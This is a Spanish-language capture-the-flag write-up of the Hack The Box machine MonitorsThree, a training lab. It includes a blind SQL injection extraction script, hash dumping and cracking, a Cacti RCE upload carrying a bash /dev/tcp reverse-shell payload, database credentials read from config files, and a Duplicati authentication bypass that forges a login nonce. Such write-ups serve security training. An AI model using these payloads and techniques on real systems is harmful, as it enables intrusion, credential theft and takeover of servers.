Hack The Box: MonitorsThree Writeup | Medium

Table of Contents

Hack The Box: MonitorsThree Writeup

Welcome to my detailed writeup of the medium difficulty machine “MonitorsThree” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 10.129.231.137 --ulimit 5000 -g
210.129.231.137 -> [22,80]
 1nmap -p22,80 -sCV 10.129.231.137 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 21:45 CEST
 3Nmap scan report for 10.129.231.137
 4Host is up (0.037s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
10|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
1180/tcp open  http    nginx 1.18.0 (Ubuntu)
12|_http-server-header: nginx/1.18.0 (Ubuntu)
13|_http-title: Did not follow redirect to http://monitorsthree.htb/
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 8.89 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU 10.129.231.137 --min-rate 5000 -n -Pn -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 21:45 CEST
 3Nmap scan report for 10.129.231.137
 4Host is up (0.037s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 73052/udp  closed apc-3052
 816947/udp closed unknown
 918830/udp closed unknown
1021524/udp closed unknown
1127538/udp closed unknown
1249396/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

Del escaneo inicial encontramos el dominio monitorsthree.htb así que lo añadimos al /etc/hosts y ya que no hay otro punto de entrada, vamos a enumerar el servicio web.

HTTP Enumeration

whatweb no nos reporta nada interesante.

1whatweb http://monitorsthree.htb
2http://monitorsthree.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sales@monitorsthree.htb], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.231.137], JQuery, Script, Title[MonitorsThree - Networking Solutions], X-UA-Compatible[IE=edge], nginx[1.18.0]

Esta es la pinta del servicio web. Write-up Image

El único recurso interesante que encontramos es este panel de autenticación en /login.php Write-up Image Y también el recurso /forgot_password.php que nos sirve para enumerar usuarios ya que nos da un error si el usuario no existe pero una respuesta válida si existe. Write-up Image

SQL Injection

Si introducimos una ' vemos que es vulnerable a inyección SQL. Write-up Image

Podemos imaginar que antes de hacer un INSERT para insertar un token para recuperar la contraseña, se hace un SELECT para ver si este usuario existe, así que podemos descubrir de esta manera el número de columnas. Write-up Image

Por detrás se tiene 9 columnas en la tabla de usuarios quiero pensar.

Después de estar con sqlmap un rato, iba demasiado lento, así que voy a scriptear el SQLi.

Si probamos con esta query. ' or username=(select username from users where username like 'z%')-- -

Nos devuelve un mensaje de error, pero si probamos con ' or username=(select username from users where username like 'a%')-- -

Nos devuelve un estado válido.

Como ya sabía que hay un usuario admin directamente fui a dumpear su hash con este script (comprobé previamente que existía el campo password).

 1import requests
 2import string
 3
 4URL = "http://monitorsthree.htb/forgot_password.php"
 5
 6def do_request(payload):
 7    sqli_payload = "' or username=(select username from users where password like '<REPLACE>%')-- -"
 8    r = requests.post(URL, data={'username': sqli_payload.replace("<REPLACE>", payload)})
 9    if 'Successfully' in r.text:  # Ajusta esto según la respuesta que indique un éxito
10        return True
11    return False
12
13def sqli():
14    characters = string.ascii_uppercase + string.ascii_lowercase + string.digits
15    found = ""
16    
17    while True:
18        for char in characters:
19            payload = found + char
20            print(f"Trying payload: {payload}")  # Opcional: para ver qué se está probando
21            if do_request(payload):
22                found += char
23                print(f"Found valid sequence: {found}")
24                break
25        else:
26            # Si no encontramos ningún carácter válido, hemos terminado
27            print(f"Final sequence found: {found}")
28            break
29
30if __name__ == "__main__":
31    sqli()
 1python3 sqli.py
 2....
 3Trying payload: C585D01F2EB3E6E1073E92023088A3DD3
 4Trying payload: C585D01F2EB3E6E1073E92023088A3DD4
 5Trying payload: C585D01F2EB3E6E1073E92023088A3DD5
 6Trying payload: C585D01F2EB3E6E1073E92023088A3DD6
 7Trying payload: C585D01F2EB3E6E1073E92023088A3DD7
 8Trying payload: C585D01F2EB3E6E1073E92023088A3DD8
 9Trying payload: C585D01F2EB3E6E1073E92023088A3DD9
10Final sequence found: C585D01F2EB3E6E1073E92023088A3DD

Encontramos este hash que parece MD5 c585d01f2eb3e6e1073e92023088a3dd

No pude crackear este hash, así que ahora me interesa saber cuantos usuarios hay en el sistema. Write-up Image

Vemos que hay 4 usuarios en el sistema.

Modificando el script detectamos que hay un usuario dthompson

1Trying payload: dthompsonz
2Final sequence found: dthompson

Podemos ir jugando con la variable characters en el script y eventualmente descubrimos los usuarios

1Trying payload: jandersonz
2Final sequence found: janderson
1Trying payload: mwatsont
2Final sequence found: mwatson

La lista de usuarios es:

Podemos modificar el payload del script para ir seleccionando el usuario al que queremos dumpear el hash:

 1import requests
 2import string
 3
 4URL = "http://monitorsthree.htb/forgot_password.php"
 5
 6def do_request(payload):
 7    sqli_payload = "' or username=(select username from users where password like '<REPLACE>%' and username = 'dthompson')-- -"
 8    r = requests.post(URL, data={'username': sqli_payload.replace("<REPLACE>", payload)})
 9    if 'Successfully' in r.text:  # Ajusta esto según la respuesta que indique un éxito
10        return True
11    return False
12
13def sqli():
14    characters = string.ascii_lowercase + string.digits
15    #characters = "bcefghikmnlopqrsuvwxyzadjABCDEFGHIJKMNLOPQRSTUVWXYZ1234567890"
16    found = ""
17    
18    while True:
19        for char in characters:
20            payload = found + char
21            print(f"Trying payload: {payload}")  # Opcional: para ver qué se está probando
22            if do_request(payload):
23                found += char
24                print(f"Found valid sequence: {found}")
25                break
26        else:
27            # Si no encontramos ningún carácter válido, hemos terminado
28            print(f"Final sequence found: {found}")
29            break
30
31if __name__ == "__main__":
32    sqli()

admin -> c585d01f2eb3e6e1073e92023088a3dd dthompson -> 633b683cc128fe244b00f176c8a950f5 janderson -> 1e68b6eb86b45f6d92f8f292428f77ac mwatson -> c585d01f2eb3e6e1073e92023088a3dd

Vemos que admin y mwatson tienen el mismo hash MD5.

Utilizando hashes.com no encontramos ninguna credencial para estos hashes. Write-up Image

Quizás se esté utilizando un salt

Enumerating (again)

Fuzzeando encontré un recurso /admin el cual necesitaba estar con una sesión iniciada.

Fuzzeando por subdominios encontré un subdominio cacti

1wfuzz --hh=13556 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.monitorsthree.htb' http://monitorsthree.htb
2
3....
4000000246:   302        0 L      0 W        0 Ch        "cacti"

Vemos una instancia de cacti. Write-up Image

En este momento me empecé a volver loco y me di cuenta de un fallo que había cometido…

En el script inicial, el primer hash no es del usuario admin porque en el payload se me olvidó especificar la clausula WHERE entonces cogió el primer hash que encontró basándose en los caracteres ordenados por orden alfabético.

1sqli_payload = "' or username=(select username from users where password like '<REPLACE>%')-- -"

Debería haber sido

1sqli_payload = "' or username=(select username from users where password like '<REPLACE>%' and username = 'admin')-- -"
1Trying payload: 31a181c8372e3afc59dab863430610e89
2Final sequence found: 31a181c8372e3afc59dab863430610e8

31a181c8372e3afc59dab863430610e8 es el hash de admin.

¡Ahora tenemos unas credenciales válidas! Write-up Image

¡Y podemos ingresar al Cacti! Write-up Image

RCE in Cacti -> Foothold

Buscando por la versión de Cacti (1.2.26) encontramos que existe una vulnerabilidad de tipo Remote Command Execution

Si nos copiamos el PoC y lo ejecutamos con PHP nos genera un archivo test.xml.gz Write-up Image

Ahora nos dirigimos a Import/Export -> Import Packages

Subimos este archivo Write-up Image

Y nos dirigimos a la ruta http://cacti.monitorsthree.htb/cacti/resource/test.php Write-up Image

Ahora solo falta modificar el PoC para mandarnos una revshell.

Vamos a probar a ejecutar un comando a nivel de sistema. Write-up Image

Repetimos el proceso.. Write-up Image

Modificamos otra vez la variable pero ahora con el siguiente código.

1$filedata = "<?php echo `bash -c 'bash -i >& /dev/tcp/10.10.14.125/443 0>&1'`; ?>"

Y si nos ponemos en escucha con pwncat-cs por el puerto 443 y repetimos el proceso ganamos acceso al sistema. Write-up Image

User Pivoting

Vemos que existe un usuario marcus en el sistema.

1(remote) www-data@monitorsthree:/var/www/html/app/admin$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3marcus:x:1000:1000:Marcus:/home/marcus:/bin/bash

Leyendo la documentación de Cacti damos con el archivo que contiene las credenciales para la base de datos, include/config.php

 1cat config.php | grep database
 2 * Make sure these values reflect your actual database/host/user/password
 3$database_type     = 'mysql';
 4$database_default  = 'cacti';
 5$database_hostname = 'localhost';
 6$database_username = 'cactiuser';
 7$database_password = 'cactiuser';
 8$database_port     = '3306';
 9$database_retries  = 5;
10$database_ssl      = false;
11$database_ssl_key  = '';
12$database_ssl_cert = '';
13$database_ssl_ca   = '';
14$database_persist  = false;
15#$rdatabase_type     = 'mysql';
16#$rdatabase_default  = 'cacti';
17#$rdatabase_hostname = 'localhost';
18#$rdatabase_username = 'cactiuser';
19#$rdatabase_password = 'cactiuser';
20#$rdatabase_port     = '3306';
21#$rdatabase_retries  = 5;
22#$rdatabase_ssl      = false;
23#$rdatabase_ssl_key  = '';
24#$rdatabase_ssl_cert = '';
25#$rdatabase_ssl_ca   = '';
26 * Save sessions to a database for load balancing
27 * are defined in lib/database.php
28 * in the database.  For valid values, see CACTI_LANGUAGE_HANDLER

Vemos que marcus tiene una cuenta en la instancia de Cacti.

1MariaDB [cacti]> select * from user_auth where username='marcus';
2+----+----------+--------------------------------------------------------------+-------+-----------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
3| id | username | password                                                     | realm | full_name | email_address            | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms |
4+----+----------+--------------------------------------------------------------+-------+-----------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+
5|  4 | marcus   | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK |     0 | Marcus    | marcus@monitorsthree.htb |                      | on              | on        | on        | on           | on             |          1 |             1 |            1 |            1 |                      1 | on      |         -1 |        -1 |                  |        |               0 |        0 |  1677427318 |
6+----+----------+--------------------------------------------------------------+-------+-----------+--------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+

Vemos un hash que probablemente sea bcrypt, podemos probar a crackearlo con hashcat ya que este hash no está contemplado en https://hashes.com

1.\hashcat.exe -a 0 -m 3200 .\hash.txt .\rockyou.txt

Y conseguimos crackearla.

$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK:12345678910 Write-up Image

Y podemos migrar al usuario marcus

1(remote) www-data@monitorsthree:/var/www/html/cacti/include$ su marcus
2Password: 
3marcus@monitorsthree:/var/www/html/cacti/include$ id
4uid=1000(marcus) gid=1000(marcus) groups=1000(marcus)

Podemos leer la flag de usuario

1marcus@monitorsthree:~$ cat user.txt 
245fbfd0ff1402...

Privilege Escalation

Enumerando la máquina no encontré nada excepto un puerto que estaba en escucha que no se vería exteriormente.

1marcus@monitorsthree:~$ netstat -tulnp
2....
3tcp        0      0 127.0.0.1:8200          0.0.0.0:*               LISTEN      -

También encontré el puerto 33233 pero primero vamos a enumerar el puerto 8200

Podemos hacer Port Forwarding con SSH ya que tenemos acceso (he copiado mi clave pública en /home/marcus/.ssh/authorized_keys ya que la autenticación solo es posible mediante clave publica-privada)

1ssh -L 8200:127.0.0.1:8200 marcus@monitorsthree.htb
2Last login: Sun Aug 25 19:42:21 2024 from 10.10.14.125
3marcus@monitorsthree:~$

Podemos comprobar que ahora tenemos este puerto abierto en nuestra máquina local.

1nmap -p8200 127.0.0.1
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 23:44 CEST
3Nmap scan report for localhost (127.0.0.1)
4Host is up (0.00017s latency).
5
6PORT     STATE SERVICE
78200/tcp open  trivnet1
8
9Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds

Y vemos una instancia de Duplicati. Write-up Image

Buscando por vulnerabilidades nos encontramos el siguiente post donde podemos construir la contraseña necesaria para iniciar sesión.

Necesitamos saber donde está la instancia de Duplicati, la encontramos en /opt/duplicati.

1marcus@monitorsthree:/opt$ ls
2backups  containerd  docker-compose.yml  duplicati

Nos descargamos el archivo /opt/duplicati/config/Duplicati-server.sqlite

1(remote) marcus@monitorsthree:/opt/duplicati/config$ ls
2control_dir_v2  CTADPNHLTC.sqlite  Duplicati-server.sqlite
3(remote) marcus@monitorsthree:/opt/duplicati/config$ 
4(remote) marcus@monitorsthree:/opt/duplicati/config$ 
5(local) pwncat$ download Duplicati-server.sqlite
6Duplicati-server.sqlite ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 90.1/90.1 KB • ? • 0:00:00
7[23:51:20] downloaded 90.11KiB in 0.24 seconds                              download.py:71
8(local) pwncat$ 

Lo abrimos con sqlite3 y nos debemos quedar con este información de la tabla Options

1-2||server-passphrase|Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
2-2||server-passphrase-salt|xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=

passphrase -> Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho= passphrase-salt -> xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=

Ambas están codificadas en base64

Ahora siguiendo el post, podemos intentar autenticarnos al Duplicati con cualquier contraseña y con Burp debemos capturar la respuesta, y vemos que el salt coincide. Write-up Image

Ahora con el passphrase que hemos encontrado en la base de datos, nos dirigimos a CyberChef Write-up Image

El truco es generar un nonce válido gracias a que tenemos la passphrase del Duplicati para poder iniciar sesión.

Después de un rato prueba y error me di cuenta de que en Firefox por alguna razón al interceptar la respuesta donde recibimos el nonce no establecía las cookies correctamente.

Repetimos el proceso

Esta parte la realicé con el navegador que tiene Burpsuite

Ahora teniendo el valor Base64 decodeado + hexadecimal de la passphrase:

159be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a

Podemos volver a repetir el proceso para hacerlo con el navegador de Burpsuite.

Intentamos iniciar sesión con una contraseña cualquiera e interceptamos dicha respuesta de esa petición. Write-up Image

Ahora nos quedamos con el valor del Nonce Write-up Image

Ahora en la consola del navegador, hacemos el proceso de encriptación que se especifica en el post anteriormente mencionado

1var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('7JHYPh/K0be0EcHa/NP4RYl7vKZMk8/1sp4/QlSnIKA=') + '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a')).toString(CryptoJS.enc.Base64); 

Write-up Image

Hemos generado un nonce válido para poder iniciar sesión: ZazLw2rr2GQpQZXvgyjrfq3EeoBFVGVRMIV0/L4QPXU=

Ahora en Burpsuite, le damos a Forward

Y en esta petición simplemente reemplazamos el valor de password por el nonce, después debemos URL Encodear este valor seleccionando y pulsando Ctrl + U Write-up Image

Y si le damos a Forward Write-up Image

Detectamos que esta instancia probablemente esté en un contenedor, pero en la ruta /source esta montada la raíz del sistema de la máquina víctima y además tenemos permisos para acceder a cualquier carpeta. Write-up Image

Ahora vamos a crear un backup, le damos click a Add backup -> Configure a new Backup -> Escribimos un nombre -> Encryption -> None -> Next

Después seleccionamos donde vamos a guardar el backup, creamos un directorio /tmp/root y seleccionamos este directorio. Write-up Image

Ahora de Source data seleccionamos el directorio personal de root que es /source/root Write-up Image

Le damos a Run now Write-up Image

Ahora creamos un directorio en /tmp/root_output le damos a Restore y seleccionamos todos los archivos -> Continue Write-up Image

Pick location -> Folder path -> /source/tmp/root_output (La carpeta que hemos creado) Write-up Image

Y si le damos a continuar vemos lo siguiente. Write-up Image

Ahora si nos dirigimos a /tmp/root_output vemos que se ha hecho correctamente el backup y podemos ver la flag de root.

 1marcus@monitorsthree:/tmp/root_output$ ls -la
 2total 40
 3drwxr-xr-x  7 marcus marcus 4096 Aug 25 20:52 .
 4drwxrwxrwt 16 root   root   4096 Aug 25 20:51 ..
 5lrwxrwxrwx  1 root   root      9 Aug 25 20:52 .bash_history -> /dev/null
 6-rw-r--r--  1 root   root   3106 Oct 15  2021 .bashrc
 7drwxr-xr-x  3 root   root   4096 Aug 20 14:27 .cache
 8drwxr-xr-x  3 root   root   4096 Aug 18 08:21 .config
 9drwxr-xr-x  3 root   root   4096 Aug 16 11:33 .local
10lrwxrwxrwx  1 root   root      9 Aug 25 20:52 .mysql_history -> /dev/null
11-rw-r--r--  1 root   root    161 Jul  9  2019 .profile
12drwxr-xr-x  2 root   root   4096 May 18 21:39 .ssh
13-rw-r--r--  1 root   root     33 Aug 25 17:42 root.txt
14drwxr-xr-x  3 root   root   4096 Aug 25 17:42 scripts
15marcus@monitorsthree:/tmp/root_output$ cat root.txt 
16f88e3e0d17a2642...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #MonitorsThree   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #SQL Injection   #Cracking Hashes   #Python Scripting   #Scripting   #Abusing Cacti   #Information Leakage   #User Pivoting   #Port Forwarding   #Authentication Bypass   #Abusing Duplicati